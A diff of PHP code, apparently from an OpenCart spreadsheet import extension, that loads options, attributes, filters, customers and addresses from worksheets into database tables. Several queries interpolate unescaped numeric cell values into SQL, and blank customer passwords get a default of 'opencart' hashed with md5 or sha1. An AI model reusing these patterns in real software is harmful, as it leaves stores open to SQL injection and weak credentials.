+ $sql = "DELETE FROM `".DB_PREFIX."option_description` WHERE option_id='".(int)$option_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreOptionCells( $i, &$j, &$worksheet, &$option ) {
+ return;
+ }
+
+
+ protected function uploadOptions( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Options' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old options
+ if (!$incremental) {
+ $this->deleteOptions();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $option_id = trim($this->getCell($data,$i,$j++));
+ if ($option_id=='') {
+ continue;
+ }
+ $type = $this->getCell($data,$i,$j++,'');
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $option = array();
+ $option['option_id'] = $option_id;
+ $option['type'] = $type;
+ $option['sort_order'] = $sort_order;
+ $option['names'] = $names;
+ if ($incremental) {
+ $this->deleteOption( $option_id );
+ }
+ $this->moreOptionCells( $i, $j, $data, $option );
+ $this->storeOptionIntoDatabase( $option, $languages );
+ }
+ }
+
+
+ protected function storeOptionValueIntoDatabase( &$option_value, &$languages, $exist_image=true ) {
+ $option_value_id = $option_value['option_value_id'];
+ $option_id = $option_value['option_id'];
+ if ($exist_image) {
+ $image = $option_value['image'];
+ }
+ $sort_order = $option_value['sort_order'];
+ $names = $option_value['names'];
+ if ($exist_image) {
+ $sql = "INSERT INTO `".DB_PREFIX."option_value` (`option_value_id`,`option_id`,`image`,`sort_order`) VALUES ";
+ $sql .= "( $option_value_id, $option_id, '".$this->db->escape($image)."', $sort_order );";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."option_value` (`option_value_id`,`option_id`,`sort_order`) VALUES ";
+ $sql .= "( $option_value_id, $option_id, $sort_order );";
+ }
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."option_value_description` (`option_value_id`, `language_id`, `option_id`, `name`) ";
+ $sql .= "VALUES ( $option_value_id, $language_id, $option_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteOptionValues() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."option_value`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."option_value_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteOptionValue( $option_value_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."option_value` WHERE option_value_id='".(int)$option_value_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."option_value_description` WHERE option_value_id='".(int)$option_value_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreOptionValueCells( $i, &$j, &$worksheet, &$option ) {
+ return;
+ }
+
+
+ protected function uploadOptionValues( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'OptionValues' );
+ if ($data==null) {
+ return;
+ }
+
+ // check for the existence of option_value.image field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."option_value` LIKE 'image'";
+ $query = $this->db->query( $sql );
+ $exist_image = ($query->num_rows > 0) ? true : false;
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old option values
+ if (!$incremental) {
+ $this->deleteOptionValues();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $option_value_id = trim($this->getCell($data,$i,$j++));
+ if ($option_value_id=='') {
+ continue;
+ }
+ $option_id = trim($this->getCell($data,$i,$j++));
+ if ($option_id=='') {
+ continue;
+ }
+ if ($exist_image) {
+ $image = $this->getCell($data,$i,$j++,'');
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $option_value = array();
+ $option_value['option_value_id'] = $option_value_id;
+ $option_value['option_id'] = $option_id;
+ if ($exist_image) {
+ $option_value['image'] = $image;
+ }
+ $option_value['sort_order'] = $sort_order;
+ $option_value['names'] = $names;
+ if ($incremental) {
+ $this->deleteOptionValue( $option_value_id );
+ }
+ $this->moreOptionValueCells( $i, $j, $data, $option_value );
+ $this->storeOptionValueIntoDatabase( $option_value, $languages, $exist_image );
+ }
+ }
+
+
+ protected function storeAttributeGroupIntoDatabase( &$attribute_group, &$languages ) {
+ $attribute_group_id = $attribute_group['attribute_group_id'];
+ $sort_order = $attribute_group['sort_order'];
+ $names = $attribute_group['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."attribute_group` (`attribute_group_id`,`sort_order`) VALUES ";
+ $sql .= "( $attribute_group_id, $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."attribute_group_description` (`attribute_group_id`, `language_id`, `name`) VALUES ";
+ $sql .= "( $attribute_group_id, $language_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteAttributeGroups() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."attribute_group`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."attribute_group_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteAttributeGroup( $attribute_group_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."attribute_group` WHERE attribute_group_id='".(int)$attribute_group_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."attribute_group_description` WHERE attribute_group_id='".(int)$attribute_group_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreAttributeGroupCells( $i, &$j, &$worksheet, &$attribute_group ) {
+ return;
+ }
+
+
+ protected function uploadAttributeGroups( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'AttributeGroups' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old attribute groups
+ if (!$incremental) {
+ $this->deleteAttributeGroups();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $attribute_group_id = trim($this->getCell($data,$i,$j++));
+ if ($attribute_group_id=='') {
+ continue;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $attribute_group = array();
+ $attribute_group['attribute_group_id'] = $attribute_group_id;
+ $attribute_group['sort_order'] = $sort_order;
+ $attribute_group['names'] = $names;
+ if ($incremental) {
+ $this->deleteAttributeGroup( $attribute_group_id );
+ }
+ $this->moreAttributeGroupCells( $i, $j, $data, $attribute_group );
+ $this->storeAttributeGroupIntoDatabase( $attribute_group, $languages );
+ }
+ }
+
+
+ protected function storeAttributeIntoDatabase( &$attribute, &$languages ) {
+ $attribute_id = $attribute['attribute_id'];
+ $attribute_group_id = $attribute['attribute_group_id'];
+ $sort_order = $attribute['sort_order'];
+ $names = $attribute['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."attribute` (`attribute_id`,`attribute_group_id`,`sort_order`) VALUES ";
+ $sql .= "( $attribute_id, $attribute_group_id, $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."attribute_description` (`attribute_id`, `language_id`, `name`) ";
+ $sql .= "VALUES ( $attribute_id, $language_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteAttributes() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."attribute`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."attribute_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteAttribute( $attribute_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."attribute` WHERE attribute_id='".(int)$attribute_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."attribute_description` WHERE attribute_id='".(int)$attribute_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreAttributeCells( $i, &$j, &$worksheet, &$attribute ) {
+ return;
+ }
+
+
+ protected function uploadAttributes( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Attributes' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old attributes
+ if (!$incremental) {
+ $this->deleteAttributes();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $attribute_id = trim($this->getCell($data,$i,$j++));
+ if ($attribute_id=='') {
+ continue;
+ }
+ $attribute_group_id = trim($this->getCell($data,$i,$j++));
+ if ($attribute_group_id=='') {
+ continue;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $attribute = array();
+ $attribute['attribute_id'] = $attribute_id;
+ $attribute['attribute_group_id'] = $attribute_group_id;
+ $attribute['sort_order'] = $sort_order;
+ $attribute['names'] = $names;
+ if ($incremental) {
+ $this->deleteAttribute( $attribute_id );
+ }
+ $this->moreAttributeCells( $i, $j, $data, $attribute );
+ $this->storeAttributeIntoDatabase( $attribute, $languages );
+ }
+ }
+
+
+ protected function storeFilterGroupIntoDatabase( &$filter_group, &$languages ) {
+ $filter_group_id = $filter_group['filter_group_id'];
+ $sort_order = $filter_group['sort_order'];
+ $names = $filter_group['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."filter_group` (`filter_group_id`,`sort_order`) VALUES ";
+ $sql .= "( $filter_group_id, $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."filter_group_description` (`filter_group_id`, `language_id`, `name`) VALUES ";
+ $sql .= "( $filter_group_id, $language_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteFilterGroups() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."filter_group`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."filter_group_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteFilterGroup( $filter_group_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."filter_group` WHERE filter_group_id='".(int)$filter_group_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."filter_group_description` WHERE filter_group_id='".(int)$filter_group_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreFilterGroupCells( $i, &$j, &$worksheet, &$filter_group ) {
+ return;
+ }
+
+
+ protected function uploadFilterGroups( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'FilterGroups' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old filter groups
+ if (!$incremental) {
+ $this->deleteFilterGroups();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $filter_group_id = trim($this->getCell($data,$i,$j++));
+ if ($filter_group_id=='') {
+ continue;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $filter_group = array();
+ $filter_group['filter_group_id'] = $filter_group_id;
+ $filter_group['sort_order'] = $sort_order;
+ $filter_group['names'] = $names;
+ if ($incremental) {
+ $this->deleteFilterGroup( $filter_group_id );
+ }
+ $this->moreFilterGroupCells( $i, $j, $data, $filter_group );
+ $this->storeFilterGroupIntoDatabase( $filter_group, $languages );
+ }
+ }
+
+
+ protected function storeFilterIntoDatabase( &$filter, &$languages ) {
+ $filter_id = $filter['filter_id'];
+ $filter_group_id = $filter['filter_group_id'];
+ $sort_order = $filter['sort_order'];
+ $names = $filter['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."filter` (`filter_id`,`filter_group_id`,`sort_order`) VALUES ";
+ $sql .= "( $filter_id, $filter_group_id, $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."filter_description` (`filter_id`, `language_id`, `filter_group_id`, `name`) ";
+ $sql .= "VALUES ( $filter_id, $language_id, $filter_group_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteFilters() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."filter`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."filter_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteFilter( $filter_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."filter` WHERE filter_id='".(int)$filter_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."filter_description` WHERE filter_id='".(int)$filter_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreFilterCells( $i, &$j, &$worksheet, &$filter ) {
+ return;
+ }
+
+
+ protected function uploadFilters( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Filters' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old filters
+ if (!$incremental) {
+ $this->deleteFilters();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $filter_id = trim($this->getCell($data,$i,$j++));
+ if ($filter_id=='') {
+ continue;
+ }
+ $filter_group_id = trim($this->getCell($data,$i,$j++));
+ if ($filter_group_id=='') {
+ continue;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $filter = array();
+ $filter['filter_id'] = $filter_id;
+ $filter['filter_group_id'] = $filter_group_id;
+ $filter['sort_order'] = $sort_order;
+ $filter['names'] = $names;
+ if ($incremental) {
+ $this->deleteFilter( $filter_id );
+ }
+ $this->moreFilterCells( $i, $j, $data, $filter );
+ $this->storeFilterIntoDatabase( $filter, $languages );
+ }
+ }
+
+
+ protected function getAvailableCustomerIds() {
+ $sql = "SELECT `customer_id` FROM `".DB_PREFIX."customer`;";
+ $result = $this->db->query( $sql );
+ $customer_ids = array();
+ foreach ($result->rows as $row) {
+ $customer_ids[$row['customer_id']] = $row['customer_id'];
+ }
+ return $customer_ids;
+ }
+
+
+ protected function storeCustomerIntoDatabase( &$customer, $exist_custom_field, $exist_salt, $exist_safe, $exist_token, $exist_code, $exist_approved ) {
+ $customer_id = $customer['customer_id'];
+ $customer_group_id = $customer['customer_group_id'];
+ $store_id = $customer['store_id'];
+ $firstname = $customer['firstname'];
+ $lastname = $customer['lastname'];
+ $email = $customer['email'];
+ $telephone = $customer['telephone'];
+ $fax = $customer['fax'];
+ $password = $customer['password'];
+ if ($exist_salt) {
+ $salt = $customer['salt'];
+ }
+ $cart = $customer['cart'];
+ $wishlist = $customer['wishlist'];
+ $wishlist = ((strtoupper($wishlist)=="TRUE") || (strtoupper($wishlist)=="YES") || (strtoupper($wishlist)=="ENABLED")) ? 1 : 0;
+ $newsletter = $customer['newsletter'];
+ $newsletter = ((strtoupper($newsletter)=="TRUE") || (strtoupper($newsletter)=="YES") || (strtoupper($newsletter)=="ENABLED")) ? 1 : 0;
+ $address_id = '0';
+ if ($exist_custom_field) {
+ $custom_field = $customer['custom_field'];
+ }
+ $ip = $customer['ip'];
+ $status = $customer['status'];
+ $status = ((strtoupper($status)=="TRUE") || (strtoupper($status)=="YES") || (strtoupper($status)=="ENABLED")) ? 1 : 0;
+ if ($exist_approved) {
+ $approved = $customer['approved'];
+ $approved = ((strtoupper($approved)=="TRUE") || (strtoupper($approved)=="YES") || (strtoupper($approved)=="ENABLED")) ? 1 : 0;
+ }
+ if ($exist_safe) {
+ $safe = $customer['safe'];
+ $safe = ((strtoupper($safe)=="TRUE") || (strtoupper($safe)=="YES") || (strtoupper($safe)=="ENABLED")) ? 1 : 0;
+ }
+ if ($exist_token) {
+ $token = $customer['token'];
+ }
+ if ($exist_code) {
+ $code = $customer['code'];
+ }
+ $date_added = $customer['date_added'];
+
+ $sql = "INSERT INTO `".DB_PREFIX."customer` ";
+ $sql .= "(`customer_id`,`customer_group_id`,`store_id`,`firstname`,`lastname`,";
+ $sql .= "`email`,`telephone`,`fax`,`password`,";
+ if ($exist_salt) {
+ $sql .= "`salt`,";
+ }
+ $sql .= "`cart`,`wishlist`,`newsletter`,`address_id`,";
+ if ($exist_custom_field) {
+ $sql .= "`custom_field`,";
+ }
+ $sql .= "`ip`,`status`,";
+ if ($exist_approved) {
+ $sql .= "`approved`,";
+ }
+ if ($exist_safe) {
+ $sql .= "`safe`,";
+ }
+ if ($exist_token) {
+ $sql .= "`token`,";
+ }
+ if ($exist_code) {
+ $sql .= "`code`,";
+ }
+ $sql .= "`date_added`) VALUES ";
+ $sql .= "( $customer_id, $customer_group_id, $store_id, ";
+ $sql .= "'".$this->db->escape($firstname)."', ";
+ $sql .= "'".$this->db->escape($lastname)."', ";
+ $sql .= "'".$this->db->escape($email)."', ";
+ $sql .= "'".$this->db->escape($telephone)."', ";
+ $sql .= "'".$this->db->escape($fax)."', ";
+ $sql .= "'".$this->db->escape($password)."', ";
+ if ($exist_salt) {
+ $sql .= "'".$this->db->escape($salt)."', ";
+ }
+ $sql .= "'".$this->db->escape($cart)."', ";
+ $sql .= "$wishlist, $newsletter, $address_id, ";
+ if ($exist_custom_field) {
+ $sql .= "'".$this->db->escape($custom_field)."', ";
+ }
+ $sql .= "'".$this->db->escape($ip)."', ";
+ $sql .= "$status, ";
+ if ($exist_approved) {
+ $sql .= "$approved, ";
+ }
+ if ($exist_safe) {
+ $sql .= "$safe, ";
+ }
+ if ($exist_token) {
+ $sql .= "'".$this->db->escape($token)."', ";
+ }
+ if ($exist_code) {
+ $sql .= "'".$this->db->escape($code)."', ";
+ }
+ $sql .= "'".$this->db->escape($date_added)."');";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCustomers() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."customer`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCustomer( $customer_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."customer` WHERE customer_id='".(int)$customer_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreCustomerCells( $i, &$j, &$worksheet, &$customer ) {
+ return;
+ }
+
+
+ protected function uploadCustomers( &$reader, $incremental, &$available_customer_ids=array() ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Customers' );
+ if ($data==null) {
+ return;
+ }
+
+ // Some fields are only available in certain Opencart versions
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'salt'";
+ $query = $this->db->query( $sql );
+ $exist_salt = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'safe'";
+ $query = $this->db->query( $sql );
+ $exist_safe = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'token'";
+ $query = $this->db->query( $sql );
+ $exist_token = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'code'";
+ $query = $this->db->query( $sql );
+ $exist_code = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'approved'";
+ $query = $this->db->query( $sql );
+ $exist_approved = ($query->num_rows > 0) ? true : false;
+
+ // get customer_group ids indexed by customer group names
+ $customer_group_ids = $this->getCustomerGroupIds();
+
+ // if incremental then find current customer IDs else delete all old customers
+ $available_customer_ids = array();
+ if ($incremental) {
+ $old_customer_ids = $this->getAvailableCustomerIds();
+ } else {
+ $this->deleteCustomers();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $customer_id = trim($this->getCell($data,$i,$j++));
+ if ($customer_id=="") {
+ continue;
+ }
+ $customer_group = trim($this->getCell($data,$i,$j++));
+ $customer_group_id = isset($customer_group_ids[$customer_group]) ? $customer_group_ids[$customer_group] : '0';
+ $store_id = $this->getCell($data,$i,$j++,'0');
+ $firstname = trim($this->getCell($data,$i,$j++));
+ $lastname = trim($this->getCell($data,$i,$j++));
+ $email = trim($this->getCell($data,$i,$j++));
+ $telephone = trim($this->getCell($data,$i,$j++));
+ $fax = trim($this->getCell($data,$i,$j++));
+ $password = trim($this->getCell($data,$i,$j++));
+ if ($exist_salt) {
+ $salt = trim($this->getCell($data,$i,$j++));
+ }
+ if ($password == '') {
+ // generate a default password 'opencart'
+ if ($exist_salt) {
+ if ($salt == '') {
+ $salt = version_compare(VERSION,'2.1.0.0','<') ? substr(md5(uniqid(rand(), true)), 0, 9) : token(9);
+ }
+ $password = sha1($salt . sha1($salt . sha1('opencart')));
+ } else {
+ $password = md5('opencart');
+ }
+ }
+ $cart = trim($this->getCell($data,$i,$j++));
+ $wishlist = trim($this->getCell($data,$i,$j++));
+ $newsletter = $this->getCell($data,$i,$j++,'no');
+ if ($exist_custom_field) {
+ $custom_field = trim($this->getCell($data,$i,$j++));
+ }
+ $ip = trim($this->getCell($data,$i,$j++));
+ $status = $this->getCell($data,$i,$j++,'true');
+ if ($exist_approved) {
+ $approved = $this->getCell($data,$i,$j++,'true');
+ }
+ if ($exist_safe) {
+ $safe = $this->getCell($data,$i,$j++,'true');
+ }
+ if ($exist_token) {
+ $token = trim($this->getCell($data,$i,$j++));
+ }
+ if ($exist_code) {
+ $code = trim($this->getCell($data,$i,$j++));
+ }
+ $date_added = trim($this->getCell($data,$i,$j++));
+ $date_added = ((is_string($date_added)) && (strlen($date_added)>0)) ? $date_added : "NOW()";
+
+ $customer = array();
+ $customer['customer_id'] = $customer_id;
+ $customer['customer_group_id'] = $customer_group_id;
+ $customer['store_id'] = $store_id;
+ $customer['firstname'] = $firstname;
+ $customer['lastname'] = $lastname;
+ $customer['email'] = $email;
+ $customer['telephone'] = $telephone;
+ $customer['fax'] = $fax;
+ $customer['password'] = $password;
+ if ($exist_salt) {
+ $customer['salt'] = $salt;
+ }
+ $customer['cart'] = $cart;
+ $customer['wishlist'] = $wishlist;
+ $customer['newsletter'] = $newsletter;
+ if ($exist_custom_field) {
+ $customer['custom_field'] = $custom_field;
+ }
+ $customer['ip'] = $ip;
+ $customer['status'] = $status;
+ if ($exist_approved) {
+ $customer['approved'] = $approved;
+ }
+ if ($exist_safe) {
+ $customer['safe'] = $safe;
+ }
+ if ($exist_token) {
+ $customer['token'] = $token;
+ }
+ if ($exist_code) {
+ $customer['code'] = $code;
+ }
+ $customer['date_added'] = $date_added;
+ if ($incremental) {
+ if ($old_customer_ids) {
+ if (in_array((int)$customer_id,$old_customer_ids)) {
+ $this->deleteCustomer( $customer_id );
+ }
+ }
+ }
+ $available_customer_ids[$customer_id] = $customer_id;
+ $this->moreCustomerCells( $i, $j, $data, $customer );
+ $this->storeCustomerIntoDatabase( $customer, $exist_custom_field, $exist_salt, $exist_safe, $exist_token, $exist_code, $exist_approved );
+ }
+ }
+
+
+ protected function getAvailableCountryIds() {
+ $sql = "SELECT country_id, `name` AS country_name FROM `".DB_PREFIX."country`";
+ $query = $this->db->query( $sql );
+ $country_ids = array();
+ foreach ($query->rows as $row) {
+ $country_id = $row['country_id'];
+ $country = $row['country_name'];
+ $country_ids[$country] = $country_id;
+ }
+ return $country_ids;
+ }
+
+
+ protected function getAvailableZoneIds() {
+ $sql = "SELECT c.country_id, z.zone_id, c.`name` AS country_name, z.`name` AS zone_name ";
+ $sql .= "FROM `".DB_PREFIX."country` c ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."zone` z ON z.country_id=c.country_id";
+ $query = $this->db->query( $sql );
+ $zone_ids = array();
+ foreach ($query->rows as $row) {
+ $country_id = $row['country_id'];
+ $country = $row['country_name'];
+ $zone_id = ($row['zone_id']) ? $row['zone_id'] : 0;
+ $zone = ($row['zone_name']) ? $row['zone_name'] : '';
+ $zone_ids[$country][$zone] = $zone_id;
+ }
+ return $zone_ids;
+ }
+
+
+ protected function storeAddressIntoDatabase( &$address, $exist_company_id, $exist_tax_id, $exist_custom_field ) {
+ $customer_id = $address['customer_id'];
+ $firstname = $address['firstname'];
+ $lastname = $address['lastname'];
+ $company = $address['company'];
+ if ($exist_company_id) {
+ $company_id = $address['company_id'];
+ }
+ if ($exist_tax_id) {
+ $tax_id = $address['tax_id'];
+ }
+ $address_1 = $address['address_1'];
+ $address_2 = $address['address_2'];
